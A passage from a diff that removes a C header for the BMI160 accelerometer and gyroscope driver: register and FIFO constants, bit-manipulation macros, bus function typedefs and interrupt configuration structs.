UINT8_C(0x08) -#define BMI160_GYRO_ODR_200HZ UINT8_C(0x09) -#define BMI160_GYRO_ODR_400HZ UINT8_C(0x0A) -#define BMI160_GYRO_ODR_800HZ UINT8_C(0x0B) -#define BMI160_GYRO_ODR_1600HZ UINT8_C(0x0C) -#define BMI160_GYRO_ODR_3200HZ UINT8_C(0x0D) - -/* Auxiliary sensor Output data rate */ -#define BMI160_AUX_ODR_RESERVED UINT8_C(0x00) -#define BMI160_AUX_ODR_0_78HZ UINT8_C(0x01) -#define BMI160_AUX_ODR_1_56HZ UINT8_C(0x02) -#define BMI160_AUX_ODR_3_12HZ UINT8_C(0x03) -#define BMI160_AUX_ODR_6_25HZ UINT8_C(0x04) -#define BMI160_AUX_ODR_12_5HZ UINT8_C(0x05) -#define BMI160_AUX_ODR_25HZ UINT8_C(0x06) -#define BMI160_AUX_ODR_50HZ UINT8_C(0x07) -#define BMI160_AUX_ODR_100HZ UINT8_C(0x08) -#define BMI160_AUX_ODR_200HZ UINT8_C(0x09) -#define BMI160_AUX_ODR_400HZ UINT8_C(0x0A) -#define BMI160_AUX_ODR_800HZ UINT8_C(0x0B) - -/** FIFO_CONFIG Definitions */ -#define BMI160_FIFO_TIME_ENABLE UINT8_C(0x02) -#define BMI160_FIFO_TAG_INT2_ENABLE UINT8_C(0x04) -#define BMI160_FIFO_TAG_INT1_ENABLE UINT8_C(0x08) -#define BMI160_FIFO_HEAD_ENABLE UINT8_C(0x10) -#define BMI160_FIFO_M_ENABLE UINT8_C(0x20) -#define BMI160_FIFO_A_ENABLE UINT8_C(0x40) -#define BMI160_FIFO_M_A_ENABLE UINT8_C(0x60) -#define BMI160_FIFO_G_ENABLE UINT8_C(0x80) -#define BMI160_FIFO_M_G_ENABLE UINT8_C(0xA0) -#define BMI160_FIFO_G_A_ENABLE UINT8_C(0xC0) -#define BMI160_FIFO_M_G_A_ENABLE UINT8_C(0xE0) - -/* Macro to specify the number of bytes over-read from the - * FIFO in order to get the sensor time at the end of FIFO */ -#ifndef BMI160_FIFO_BYTES_OVERREAD -#define BMI160_FIFO_BYTES_OVERREAD UINT8_C(25) -#endif - -/* Accel, gyro and aux. sensor length and also their combined - * length definitions in FIFO */ -#define BMI160_FIFO_G_LENGTH UINT8_C(6) -#define BMI160_FIFO_A_LENGTH UINT8_C(6) -#define BMI160_FIFO_M_LENGTH UINT8_C(8) -#define BMI160_FIFO_GA_LENGTH UINT8_C(12) -#define BMI160_FIFO_MA_LENGTH UINT8_C(14) -#define BMI160_FIFO_MG_LENGTH UINT8_C(14) -#define BMI160_FIFO_MGA_LENGTH UINT8_C(20) - -/** FIFO Header Data definitions */ -#define BMI160_FIFO_HEAD_SKIP_FRAME UINT8_C(0x40) -#define BMI160_FIFO_HEAD_SENSOR_TIME UINT8_C(0x44) -#define BMI160_FIFO_HEAD_INPUT_CONFIG UINT8_C(0x48) -#define BMI160_FIFO_HEAD_OVER_READ UINT8_C(0x80) -#define BMI160_FIFO_HEAD_A UINT8_C(0x84) -#define BMI160_FIFO_HEAD_G UINT8_C(0x88) -#define BMI160_FIFO_HEAD_G_A UINT8_C(0x8C) -#define BMI160_FIFO_HEAD_M UINT8_C(0x90) -#define BMI160_FIFO_HEAD_M_A UINT8_C(0x94) -#define BMI160_FIFO_HEAD_M_G UINT8_C(0x98) -#define BMI160_FIFO_HEAD_M_G_A UINT8_C(0x9C) - -/** FIFO sensor time length definitions */ -#define BMI160_SENSOR_TIME_LENGTH UINT8_C(3) - -/** FIFO DOWN selection */ -/* Accel fifo down-sampling values*/ -#define BMI160_ACCEL_FIFO_DOWN_ZERO UINT8_C(0x00) -#define BMI160_ACCEL_FIFO_DOWN_ONE UINT8_C(0x10) -#define BMI160_ACCEL_FIFO_DOWN_TWO UINT8_C(0x20) -#define BMI160_ACCEL_FIFO_DOWN_THREE UINT8_C(0x30) -#define BMI160_ACCEL_FIFO_DOWN_FOUR UINT8_C(0x40) -#define BMI160_ACCEL_FIFO_DOWN_FIVE UINT8_C(0x50) -#define BMI160_ACCEL_FIFO_DOWN_SIX UINT8_C(0x60) -#define BMI160_ACCEL_FIFO_DOWN_SEVEN UINT8_C(0x70) - -/* Gyro fifo down-smapling values*/ -#define BMI160_GYRO_FIFO_DOWN_ZERO UINT8_C(0x00) -#define BMI160_GYRO_FIFO_DOWN_ONE UINT8_C(0x01) -#define BMI160_GYRO_FIFO_DOWN_TWO UINT8_C(0x02) -#define BMI160_GYRO_FIFO_DOWN_THREE UINT8_C(0x03) -#define BMI160_GYRO_FIFO_DOWN_FOUR UINT8_C(0x04) -#define BMI160_GYRO_FIFO_DOWN_FIVE UINT8_C(0x05) -#define BMI160_GYRO_FIFO_DOWN_SIX UINT8_C(0x06) -#define BMI160_GYRO_FIFO_DOWN_SEVEN UINT8_C(0x07) - -/* Accel Fifo filter enable*/ -#define BMI160_ACCEL_FIFO_FILT_EN UINT8_C(0x80) - -/* Gyro Fifo filter enable*/ -#define BMI160_GYRO_FIFO_FILT_EN UINT8_C(0x08) - -/** Definitions to check validity of FIFO frames */ -#define FIFO_CONFIG_MSB_CHECK UINT8_C(0x80) -#define FIFO_CONFIG_LSB_CHECK UINT8_C(0x00) - -/*! BMI160 accel FOC configurations */ -#define BMI160_FOC_ACCEL_DISABLED UINT8_C(0x00) -#define BMI160_FOC_ACCEL_POSITIVE_G UINT8_C(0x01) -#define BMI160_FOC_ACCEL_NEGATIVE_G UINT8_C(0x02) -#define BMI160_FOC_ACCEL_0G UINT8_C(0x03) - -/** Array Parameter DefinItions */ -#define BMI160_SENSOR_TIME_LSB_BYTE UINT8_C(0) -#define BMI160_SENSOR_TIME_XLSB_BYTE UINT8_C(1) -#define BMI160_SENSOR_TIME_MSB_BYTE UINT8_C(2) - -/** Interface settings */ -#define BMI160_SPI_INTF UINT8_C(1) -#define BMI160_I2C_INTF UINT8_C(0) -#define BMI160_SPI_RD_MASK UINT8_C(0x80) -#define BMI160_SPI_WR_MASK UINT8_C(0x7F) - -/* Sensor & time select definition*/ -#define BMI160_ACCEL_SEL UINT8_C(0x01) -#define BMI160_GYRO_SEL UINT8_C(0x02) -#define BMI160_TIME_SEL UINT8_C(0x04) - -/* Sensor select mask*/ -#define BMI160_SEN_SEL_MASK UINT8_C(0x07) - -/* Error code mask */ -#define BMI160_ERR_REG_MASK UINT8_C(0x0F) - -/* BMI160 I2C address */ -#define BMI160_I2C_ADDR UINT8_C(0x68) - -/* BMI160 secondary IF address */ -#define BMI160_AUX_BMM150_I2C_ADDR UINT8_C(0x10) - -/** BMI160 Length definitions */ -#define BMI160_ONE UINT8_C(1) -#define BMI160_TWO UINT8_C(2) -#define BMI160_THREE UINT8_C(3) -#define BMI160_FOUR UINT8_C(4) -#define BMI160_FIVE UINT8_C(5) - -/** BMI160 fifo level Margin */ -#define BMI160_FIFO_LEVEL_MARGIN UINT8_C(16) - -/** BMI160 fifo flush Command */ -#define BMI160_FIFO_FLUSH_VALUE UINT8_C(0xB0) - -/** BMI160 offset values for xyz axes of accel */ -#define BMI160_ACCEL_MIN_OFFSET INT8_C(-128) -#define BMI160_ACCEL_MAX_OFFSET INT8_C(127) - -/** BMI160 offset values for xyz axes of gyro */ -#define BMI160_GYRO_MIN_OFFSET INT16_C(-512) -#define BMI160_GYRO_MAX_OFFSET INT16_C(511) - -/** BMI160 fifo full interrupt position and mask */ -#define BMI160_FIFO_FULL_INT_POS UINT8_C(5) -#define BMI160_FIFO_FULL_INT_MSK UINT8_C(0x20) -#define BMI160_FIFO_WTM_INT_POS UINT8_C(6) -#define BMI160_FIFO_WTM_INT_MSK UINT8_C(0x40) - -#define BMI160_FIFO_FULL_INT_PIN1_POS UINT8_C(5) -#define BMI160_FIFO_FULL_INT_PIN1_MSK UINT8_C(0x20) -#define BMI160_FIFO_FULL_INT_PIN2_POS UINT8_C(1) -#define BMI160_FIFO_FULL_INT_PIN2_MSK UINT8_C(0x02) - -#define BMI160_FIFO_WTM_INT_PIN1_POS UINT8_C(6) -#define BMI160_FIFO_WTM_INT_PIN1_MSK UINT8_C(0x40) -#define BMI160_FIFO_WTM_INT_PIN2_POS UINT8_C(2) -#define BMI160_FIFO_WTM_INT_PIN2_MSK UINT8_C(0x04) - -#define BMI160_MANUAL_MODE_EN_POS UINT8_C(7) -#define BMI160_MANUAL_MODE_EN_MSK UINT8_C(0x80) -#define BMI160_AUX_READ_BURST_POS UINT8_C(0) -#define BMI160_AUX_READ_BURST_MSK UINT8_C(0x03) - -#define BMI160_GYRO_SELF_TEST_POS UINT8_C(4) -#define BMI160_GYRO_SELF_TEST_MSK UINT8_C(0x10) -#define BMI160_GYRO_SELF_TEST_STATUS_POS UINT8_C(1) -#define BMI160_GYRO_SELF_TEST_STATUS_MSK UINT8_C(0x02) - -#define BMI160_GYRO_FOC_EN_POS UINT8_C(6) -#define BMI160_GYRO_FOC_EN_MSK UINT8_C(0x40) - -#define BMI160_ACCEL_FOC_X_CONF_POS UINT8_C(4) -#define BMI160_ACCEL_FOC_X_CONF_MSK UINT8_C(0x30) - -#define BMI160_ACCEL_FOC_Y_CONF_POS UINT8_C(2) -#define BMI160_ACCEL_FOC_Y_CONF_MSK UINT8_C(0x0C) - -#define BMI160_ACCEL_FOC_Z_CONF_MSK UINT8_C(0x03) - -#define BMI160_FOC_STATUS_POS UINT8_C(3) -#define BMI160_FOC_STATUS_MSK UINT8_C(0x08) - -#define BMI160_GYRO_OFFSET_X_MSK UINT8_C(0x03) - -#define BMI160_GYRO_OFFSET_Y_POS UINT8_C(2) -#define BMI160_GYRO_OFFSET_Y_MSK UINT8_C(0x0C) - -#define BMI160_GYRO_OFFSET_Z_POS UINT8_C(4) -#define BMI160_GYRO_OFFSET_Z_MSK UINT8_C(0x30) - -#define BMI160_GYRO_OFFSET_EN_POS UINT8_C(7) -#define BMI160_GYRO_OFFSET_EN_MSK UINT8_C(0x80) - -#define BMI160_ACCEL_OFFSET_EN_POS UINT8_C(6) -#define BMI160_ACCEL_OFFSET_EN_MSK UINT8_C(0x40) - -#define BMI160_GYRO_OFFSET_POS UINT16_C(8) -#define BMI160_GYRO_OFFSET_MSK UINT16_C(0x0300) - -#define BMI160_NVM_UPDATE_POS UINT8_C(1) -#define BMI160_NVM_UPDATE_MSK UINT8_C(0x02) - -#define BMI160_NVM_STATUS_POS UINT8_C(4) -#define BMI160_NVM_STATUS_MSK UINT8_C(0x10) - -#define BMI160_MAG_POWER_MODE_MSK UINT8_C(0x03) - -#define BMI160_ACCEL_POWER_MODE_MSK UINT8_C(0x30) -#define BMI160_ACCEL_POWER_MODE_POS UINT8_C(4) - -#define BMI160_GYRO_POWER_MODE_MSK UINT8_C(0x0C) -#define BMI160_GYRO_POWER_MODE_POS UINT8_C(2) - -/* BIT SLICE GET AND SET FUNCTIONS */ -#define BMI160_GET_BITS(regvar, bitname) ((regvar & bitname##_MSK) >> bitname##_POS) -#define BMI160_SET_BITS(regvar, bitname, val) \ - ((regvar & ~bitname##_MSK) | ((val << bitname##_POS) & bitname##_MSK)) - -#define BMI160_SET_BITS_POS_0(reg_data, bitname, data) \ - ((reg_data & ~(bitname##_MSK)) | (data & bitname##_MSK)) - -#define BMI160_GET_BITS_POS_0(reg_data, bitname) (reg_data & (bitname##_MSK)) - -/**\name UTILITY MACROS */ -#define BMI160_SET_LOW_BYTE UINT16_C(0x00FF) -#define BMI160_SET_HIGH_BYTE UINT16_C(0xFF00) - -#define BMI160_GET_LSB(var) (uint8_t)(var & BMI160_SET_LOW_BYTE) -#define BMI160_GET_MSB(var) (uint8_t)((var & BMI160_SET_HIGH_BYTE) >> 8) - -/*****************************************************************************/ -/* type definitions */ - -/*! - * @brief Bus communication function pointer which should be mapped to - * the platform specific read functions of the user - */ -typedef int8_t ( - *bmi160_read_fptr_t)(uint8_t dev_addr, uint8_t reg_addr, uint8_t* data, uint16_t len); - -/*! - * @brief Bus communication function pointer which should be mapped to - * the platform specific write functions of the user - */ -typedef int8_t ( - *bmi160_write_fptr_t)(uint8_t dev_addr, uint8_t reg_addr, uint8_t* read_data, uint16_t len); -typedef void (*bmi160_delay_fptr_t)(uint32_t period); - -/*************************** Data structures *********************************/ - -/*! - * @brief bmi160 interrupt status selection enum. - */ -enum bmi160_int_status_sel { - BMI160_INT_STATUS_0 = 1, - BMI160_INT_STATUS_1 = 2, - BMI160_INT_STATUS_2 = 4, - BMI160_INT_STATUS_3 = 8, - BMI160_INT_STATUS_ALL = 15 -}; - -/*! - * @brief bmi160 interrupt status bits structure - */ -struct bmi160_int_status_bits { -#ifdef LITTLE_ENDIAN - - uint32_t step : 1; - uint32_t sigmot : 1; - uint32_t anym : 1; - - /* pmu trigger will be handled later */ - uint32_t pmu_trigger_reserved : 1; - uint32_t d_tap : 1; - uint32_t s_tap : 1; - uint32_t orient : 1; - uint32_t flat_int : 1; - uint32_t reserved : 2; - uint32_t high_g : 1; - uint32_t low_g : 1; - uint32_t drdy : 1; - uint32_t ffull : 1; - uint32_t fwm : 1; - uint32_t nomo : 1; - uint32_t anym_first_x : 1; - uint32_t anym_first_y : 1; - uint32_t anym_first_z : 1; - uint32_t anym_sign : 1; - uint32_t tap_first_x : 1; - uint32_t tap_first_y : 1; - uint32_t tap_first_z : 1; - uint32_t tap_sign : 1; - uint32_t high_first_x : 1; - uint32_t high_first_y : 1; - uint32_t high_first_z : 1; - uint32_t high_sign : 1; - uint32_t orient_1_0 : 2; - uint32_t orient_2 : 1; - uint32_t flat : 1; -#else - uint32_t high_first_x : 1; - uint32_t high_first_y : 1; - uint32_t high_first_z : 1; - uint32_t high_sign : 1; - uint32_t orient_1_0 : 2; - uint32_t orient_2 : 1; - uint32_t flat : 1; - uint32_t anym_first_x : 1; - uint32_t anym_first_y : 1; - uint32_t anym_first_z : 1; - uint32_t anym_sign : 1; - uint32_t tap_first_x : 1; - uint32_t tap_first_y : 1; - uint32_t tap_first_z : 1; - uint32_t tap_sign : 1; - uint32_t reserved : 2; - uint32_t high_g : 1; - uint32_t low_g : 1; - uint32_t drdy : 1; - uint32_t ffull : 1; - uint32_t fwm : 1; - uint32_t nomo : 1; - uint32_t step : 1; - uint32_t sigmot : 1; - uint32_t anym : 1; - - /* pmu trigger will be handled later */ - uint32_t pmu_trigger_reserved : 1; - uint32_t d_tap : 1; - uint32_t s_tap : 1; - uint32_t orient : 1; - uint32_t flat_int : 1; -#endif -}; - -/*! - * @brief bmi160 interrupt status structure - */ -union bmi160_int_status { - uint8_t data[4]; - struct bmi160_int_status_bits bit; -}; - -/*! - * @brief bmi160 sensor data structure which comprises of accel data - */ -struct bmi160_sensor_data { - /*! X-axis sensor data */ - int16_t x; - - /*! Y-axis sensor data */ - int16_t y; - - /*! Z-axis sensor data */ - int16_t z; - - /*! sensor time */ - uint32_t sensortime; -}; - -/*! - * @brief bmi160 aux data structure which comprises of 8 bytes of accel data - */ -struct bmi160_aux_data { - /*! Auxiliary data */ - uint8_t data[8]; -}; - -/*! - * @brief bmi160 FOC configuration structure - */ -struct bmi160_foc_conf { - /*! Enabling FOC in gyro - * Assignable macros : - * - BMI160_ENABLE - * - BMI160_DISABLE - */ - uint8_t foc_gyr_en; - - /*! Accel FOC configurations - * Assignable macros : - * - BMI160_FOC_ACCEL_DISABLED - * - BMI160_FOC_ACCEL_POSITIVE_G - * - BMI160_FOC_ACCEL_NEGATIVE_G - * - BMI160_FOC_ACCEL_0G - */ - uint8_t foc_acc_x; - uint8_t foc_acc_y; - uint8_t foc_acc_z; - - /*! Enabling offset compensation for accel in data registers - * Assignable macros : - * - BMI160_ENABLE - * - BMI160_DISABLE - */ - uint8_t acc_off_en; - - /*! Enabling offset compensation for gyro in data registers - * Assignable macros : - * - BMI160_ENABLE - * - BMI160_DISABLE - */ - uint8_t gyro_off_en; -}; - -/*! - * @brief bmi160 accel gyro offsets - */ -struct bmi160_offsets { - /*! Accel offset for x axis */ - int8_t off_acc_x; - - /*! Accel offset for y axis */ - int8_t off_acc_y; - - /*! Accel offset for z axis */ - int8_t off_acc_z; - - /*! Gyro offset for x axis */ - int16_t off_gyro_x; - - /*! Gyro offset for y axis */ - int16_t off_gyro_y; - - /*! Gyro offset for z axis */ - int16_t off_gyro_z; -}; - -/*! - * @brief FIFO aux. sensor data structure - */ -struct bmi160_aux_fifo_data { - /*! The value of aux. sensor x LSB data */ - uint8_t aux_x_lsb; - - /*! The value of aux. sensor x MSB data */ - uint8_t aux_x_msb; - - /*! The value of aux. sensor y LSB data */ - uint8_t aux_y_lsb; - - /*! The value of aux. sensor y MSB data */ - uint8_t aux_y_msb; - - /*! The value of aux. sensor z LSB data */ - uint8_t aux_z_lsb; - - /*! The value of aux. sensor z MSB data */ - uint8_t aux_z_msb; - - /*! The value of aux. sensor r for BMM150 LSB data */ - uint8_t aux_r_y2_lsb; - - /*! The value of aux. sensor r for BMM150 MSB data */ - uint8_t aux_r_y2_msb; -}; - -/*! - * @brief bmi160 sensor select structure - */ -enum bmi160_select_sensor { BMI160_ACCEL_ONLY = 1, BMI160_GYRO_ONLY, BMI160_BOTH_ACCEL_AND_GYRO }; - -/*! - * @brief bmi160 sensor step detector mode structure - */ -enum bmi160_step_detect_mode { - BMI160_STEP_DETECT_NORMAL, - BMI160_STEP_DETECT_SENSITIVE, - BMI160_STEP_DETECT_ROBUST, - - /*! Non recommended User defined setting */ - BMI160_STEP_DETECT_USER_DEFINE -}; - -/*! - * @brief enum for auxiliary burst read selection - */ -enum bmi160_aux_read_len { - BMI160_AUX_READ_LEN_0, - BMI160_AUX_READ_LEN_1, - BMI160_AUX_READ_LEN_2, - BMI160_AUX_READ_LEN_3 -}; - -/*! - * @brief bmi160 sensor configuration structure - */ -struct bmi160_cfg { - /*! power mode */ - uint8_t power; - - /*! output data rate */ - uint8_t odr; - - /*! range */ - uint8_t range; - - /*! bandwidth */ - uint8_t bw; -}; - -/*! - * @brief Aux sensor configuration structure - */ -struct bmi160_aux_cfg { - /*! Aux sensor, 1 - enable 0 - disable */ - uint8_t aux_sensor_enable : 1; - - /*! Aux manual/auto mode status */ - uint8_t manual_enable : 1; - - /*! Aux read burst length */ - uint8_t aux_rd_burst_len : 2; - - /*! output data rate */ - uint8_t aux_odr : 4; - - /*! i2c addr of auxiliary sensor */ - uint8_t aux_i2c_addr; -}; - -/*! - * @brief bmi160 interrupt channel selection structure - */ -enum bmi160_int_channel { - /*! Un-map both channels */ - BMI160_INT_CHANNEL_NONE, - - /*! interrupt Channel 1 */ - BMI160_INT_CHANNEL_1, - - /*! interrupt Channel 2 */ - BMI160_INT_CHANNEL_2, - - /*! Map both channels */ - BMI160_INT_CHANNEL_BOTH -}; -enum bmi160_int_types { - /*! Slope/Any-motion interrupt */ - BMI160_ACC_ANY_MOTION_INT, - - /*! Significant motion interrupt */ - BMI160_ACC_SIG_MOTION_INT, - - /*! Step detector interrupt */ - BMI160_STEP_DETECT_INT, - - /*! double tap interrupt */ - BMI160_ACC_DOUBLE_TAP_INT, - - /*! single tap interrupt */ - BMI160_ACC_SINGLE_TAP_INT, - - /*! orientation interrupt */ - BMI160_ACC_ORIENT_INT, - - /*! flat interrupt */ - BMI160_ACC_FLAT_INT, - - /*! high-g interrupt */ - BMI160_ACC_HIGH_G_INT, - - /*! low-g interrupt */ - BMI160_ACC_LOW_G_INT, - - /*! slow/no-motion interrupt */ - BMI160_ACC_SLOW_NO_MOTION_INT, - - /*! data ready interrupt */ - BMI160_ACC_GYRO_DATA_RDY_INT, - - /*! fifo full interrupt */ - BMI160_ACC_GYRO_FIFO_FULL_INT, - - /*! fifo watermark interrupt */ - BMI160_ACC_GYRO_FIFO_WATERMARK_INT, - - /*! fifo tagging feature support */ - BMI160_FIFO_TAG_INT_PIN -}; - -/*! - * @brief bmi160 active state of any & sig motion interrupt. - */ -enum bmi160_any_sig_motion_active_interrupt_state { - /*! Both any & sig motion are disabled */ - BMI160_BOTH_ANY_SIG_MOTION_DISABLED = -1, - - /*! Any-motion selected */ - BMI160_ANY_MOTION_ENABLED, - - /*! Sig-motion selected */ - BMI160_SIG_MOTION_ENABLED -}; -struct bmi160_acc_tap_int_cfg { -#ifdef LITTLE_ENDIAN - - /*! tap threshold */ - uint16_t tap_thr : 5; - - /*! tap shock */ - uint16_t tap_shock : 1; - - /*! tap quiet */ - uint16_t tap_quiet : 1; - - /*! tap duration */ - uint16_t tap_dur : 3; - - /*! data source 0- filter & 1 pre-filter*/ - uint16_t tap_data_src : 1; - - /*! tap enable, 1 - enable, 0 - disable */ - uint16_t tap_en : 1; -#else - - /*! tap enable, 1 - enable, 0 - disable */ - uint16_t tap_en : 1; - - /*! data source 0- filter & 1 pre-filter*/ - uint16_t tap_data_src : 1; - - /*! tap duration */ - uint16_t tap_dur : 3; - - /*! tap quiet */ - uint16_t tap_quiet : 1; - - /*! tap shock */ - uint16_t tap_shock : 1; - - /*! tap threshold */ - uint16_t tap_thr : 5; -#endif -}; -struct bmi160_acc_any_mot_int_cfg { -#ifdef LITTLE_ENDIAN - - /*! 1 any-motion enable, 0 - any-motion disable */ - uint8_t anymotion_en : 1; - - /*! slope interrupt x, 1 - enable, 0 - disable */ - uint8_t anymotion_x : 1; - - /*! slope interrupt y, 1 - enable, 0 - disable */ - uint8_t anymotion_y : 1; - - /*! slope interrupt z, 1 - enable, 0 - disable */ - uint8_t anymotion_z : 1; - - /*! slope duration */ - uint8_t anymotion_dur : 2; - - /*! data source 0- filter & 1 pre-filter*/ - uint8_t anymotion_data_src : 1; - - /*! slope threshold */ - uint8_t anymotion_thr; -#else - - /*! slope threshold */ - uint8_t anymotion_thr; - - /*! data source 0- filter & 1 pre-filter*/ - uint8_t anymotion_data_src : 1; - - /*! slope duration */ - uint8_t anymotion_dur : 2; - - /*! slope interrupt z, 1 - enable, 0 - disable */ - uint8_t anymotion_z : 1; - - /*! slope interrupt y, 1 - enable, 0 - disable */ - uint8_t anymotion_y : 1; - - /*! slope interrupt x, 1 - enable, 0 - disable */ - uint8_t anymotion_x : 1; - - /*! 1 any-motion enable, 0 - any-motion disable */ - uint8_t anymotion_en : 1; -#endif -}; -struct bmi160_acc_sig_mot_int_cfg { -#ifdef LITTLE_ENDIAN - - /*! skip time of sig-motion interrupt */ - uint8_t sig_mot_skip : 2; - - /*! proof time of sig-motion interrupt */ - uint8_t sig_mot_proof : 2; - - /*! data source 0- filter & 1 pre-filter*/ - uint8_t sig_data_src : 1; - - /*! 1 - enable sig, 0 - disable sig & enable anymotion */ - uint8_t sig_en : 1; - - /*! sig-motion threshold */ - uint8_t sig_mot_thres; -#else - - /*! sig-motion threshold */ - uint8_t sig_mot_thres; - - /*! 1 - enable sig, 0 - disable sig & enable anymotion */ - uint8_t sig_en : 1; - - /*! data source 0- filter & 1 pre-filter*/ - uint8_t sig_data_src : 1; - - /*! proof time of sig-motion interrupt */ - uint8_t sig_mot_proof : 2; - - /*! skip time of sig-motion interrupt */ - uint8_t sig_mot_skip : 2; -#endif -}; -struct bmi160_acc_step_detect_int_cfg { -#ifdef LITTLE_ENDIAN - - /*! 1- step detector enable, 0- step detector disable */ - uint16_t step_detector_en : 1; - - /*! minimum threshold */ - uint16_t min_threshold : 2; - - /*! minimal detectable step time */ - uint16_t steptime_min : 3; - - /*! enable step counter mode setting */ - uint16_t step_detector_mode : 2; - - /*! minimum step buffer size*/ - uint16_t step_min_buf : 3; -#else - - /*! minimum step buffer size*/ - uint16_t step_min_buf : 3; - - /*! enable step counter mode setting */ - uint16_t step_detector_mode : 2; - - /*! minimal detectable step time */ - uint16_t steptime_min : 3; - - /*! minimum threshold */ - uint16_t min_threshold : 2; - - /*! 1- step detector enable, 0- step detector disable */ - uint16_t step_detector_en : 1; -#endif -}; -struct bmi160_acc_no_motion_int_cfg { -#ifdef LITTLE_ENDIAN - - /*! no motion interrupt x */ - uint16_t no_motion_x : 1; - - /*! no motion interrupt y */ - uint16_t no_motion_y : 1; - - /*! no motion interrupt z */ - uint16_t no_motion_z : 1; - - /*! no motion duration */ - uint16_t no_motion_dur : 6; - - /*! no motion sel , 1 - enable no-motion ,0- enable slow-motion */ - uint16_t no_motion_sel : 1; - - /*! data source 0- filter & 1 pre-filter*/ - uint16_t no_motion_src : 1; - - /*! no motion threshold */ - uint8_t no_motion_thres; -#else - - /*! no motion threshold */ - uint8_t no_motion_thres; - - /*! data source 0- filter & 1 pre-filter*/ - uint16_t no_motion_src : 1; - - /*! no motion sel , 1 - enable no-motion ,0- enable slow-motion */ - uint16_t no_motion_sel : 1; - - /*! no motion duration */ - uint16_t no_motion_dur : 6; - - /* no motion interrupt z */ - uint16_t no_motion_z : 1; - - /*! no motion interrupt y */ - uint16_t no_motion_y : 1; - - /*! no motion interrupt x */ - uint16_t no_motion_x : 1; -#endif -}; -struct bmi160_acc_orient_int_cfg { -#ifdef LITTLE_ENDIAN - - /*! thresholds for switching between the different orientations */ - uint16_t orient_mode : 2; - - /*! blocking_mode */ - uint16_t orient_blocking : 2; - - /*! Orientation interrupt hysteresis */ - uint16_t orient_hyst : 4; - - /*! Orientation interrupt theta */ - uint16_t orient_theta : 6; - - /*! Enable/disable Orientation interrupt */ - uint16_t orient_ud_en : 1; - - /*! exchange x- and z-axis in algorithm ,0 - z, 1 - x */ - uint16_t axes_ex : 1; - - /*! 1 - orient enable, 0 - orient disable */ - uint8_t orient_en : 1; -#else - - /*! 1 - orient enable, 0 - orient disable */ - uint8_t orient_en : 1; - - /*! exchange x- and z-axis in algorithm ,0 - z, 1 - x */ - uint16_t axes_ex : 1; - - /*! Enable/disable Orientation interrupt */ - uint16_t orient_ud_en : 1; - - /*! Orientation interrupt theta */ - uint16_t orient_theta : 6; - - /*! Orientation interrupt hysteresis */ - uint16_t orient_hyst : 4; - - /*! blocking_mode */ - uint16_t orient_blocking : 2; - - /*! thresholds for switching between the different orientations */ - uint16_t orient_mode : 2; -#endif -}; -struct bmi160_acc_flat_detect_int_cfg { -#ifdef LITTLE_ENDIAN - - /*! flat threshold */ - uint16_t flat_theta : 6; - - /*! flat interrupt hysteresis */ - uint16_t flat_hy : 3; - - /*! delay time for which the flat value must remain stable for the - * flat interrupt to be generated */ - uint16_t flat_hold_time : 2; - - /*! 1 - flat enable, 0 - flat disable */ - uint16_t flat_en : 1; -#else - - /*! 1 - flat enable, 0 - flat disable */ - uint16_t flat_en : 1; - - /*! delay time for which the flat value must remain stable for the - * flat interrupt to be generated */ - uint16_t flat_hold_time : 2; - - /*! flat interrupt hysteresis */ - uint16_t flat_hy : 3; - - /*! flat threshold */ - uint16_t flat_theta : 6; -#endif -}; -struct bmi160_acc_low_g_int_cfg { -#ifdef LITTLE_ENDIAN - - /*! low-g interrupt trigger delay */ - uint8_t low_dur; - - /*! low-g interrupt trigger threshold */ - uint8_t low_thres; - - /*! hysteresis of low-g interrupt */ - uint8_t low_hyst : 2; - - /*! 0 - single-axis mode ,1 - axis-summing mode */ - uint8_t low_mode : 1; - - /*! data source 0- filter & 1 pre-filter */ - uint8_t low_data_src : 1; - - /*! 1 - enable low-g, 0 - disable low-g */ - uint8_t low_en : 1; -#else - - /*! 1 - enable low-g, 0 - disable low-g */ - uint8_t low_en : 1; - - /*! data source 0- filter & 1 pre-filter */ - uint8_t low_data_src : 1; - - /*! 0 - single-axis mode ,1 - axis-summing mode */ - uint8_t low_mode : 1; - - /*! hysteresis of low-g interrupt */ - uint8_t low_hyst : 2; - - /*! low-g interrupt trigger threshold */ - uint8_t low_thres; - - /*! low-g interrupt trigger delay */ - uint8_t low_dur; -#endif -}; -struct bmi160_acc_high_g_int_cfg { -#ifdef LITTLE_ENDIAN - - /*! High-g interrupt x, 1 - enable, 0 - disable */ - uint8_t high_g_x : 1; - - /*! High-g interrupt y, 1 - enable, 0 - disable */ - uint8_t high_g_y : 1; - - /*! High-g interrupt z, 1 - enable, 0 - disable */ - uint8_t high_g_z : 1; - - /*! High-g hysteresis */ - uint8_t high_hy : 2; - - /*! data source 0- filter & 1 pre-filter */ - uint8_t high_data_src : 1; - - /*! High-g threshold */ - uint8_t high_thres; - - /*! High-g duration */ - uint8_t high_dur; -#else - - /*! High-g duration */ - uint8_t high_dur; - - /*! High-g threshold */ - uint8_t high_thres; - - /*! data source 0- filter & 1 pre-filter */ - uint8_t high_data_src : 1; - - /*! High-g hysteresis */ - uint8_t high_hy : 2; - - /*! High-g interrupt z, 1 - enable, 0 - disable */ - uint8_t high_g_z : 1; - - /*! High-g interrupt y, 1 - enable, 0 - disable */ - uint8_t high_g_y : 1; - - /*! High-g interrupt x, 1 - enable, 0 - disable */ - uint8_t high_g_x : 1; -#endif -}; -struct bmi160_int_pin_settg { -#ifdef LITTLE_ENDIAN - - /*! To enable either INT1 or INT2 pin as output. - * 0- output disabled ,1- output enabled */ - uint16_t output_en : 1; - - /*! 0 - push-pull 1- open drain,only valid if output_en is set 1 */ - uint16_t output_mode : 1; - - /*! 0 - active low , 1 - active high level. - * if output_en is 1,this applies to interrupts,else PMU_trigger */ - uint16_t output_type : 1; - - /*! 0 - level trigger , 1 - edge trigger */ - uint16_t edge_ctrl : 1; - - /*! To enable either INT1 or INT2 pin as input. - * 0 - input disabled ,1 - input enabled */ - uint16_t input_en : 1; - - /*! latch duration*/ - uint16_t latch_dur : 4; -#else - - /*! latch duration*/ - uint16_t latch_dur : 4; - - /*! Latched,non-latched or temporary interrupt modes */ - uint16_t input_en : 1; - - /*! 1 - edge trigger, 0 - level trigger */ - uint16_t edge_ctrl : 1; - - /*! 0 - active low , 1 - active high level. - * if output_en is 1,this applies to interrupts,else PMU_trigger */ - uint16_t output_type : 1; - - /*! 0 - push-pull , 1 - open drain,only valid if output_en is set 1 */ - uint16_t output_mode : 1; - - /*! To enable either INT1 or INT2 pin as output. - * 0 - output disabled , 1 - output 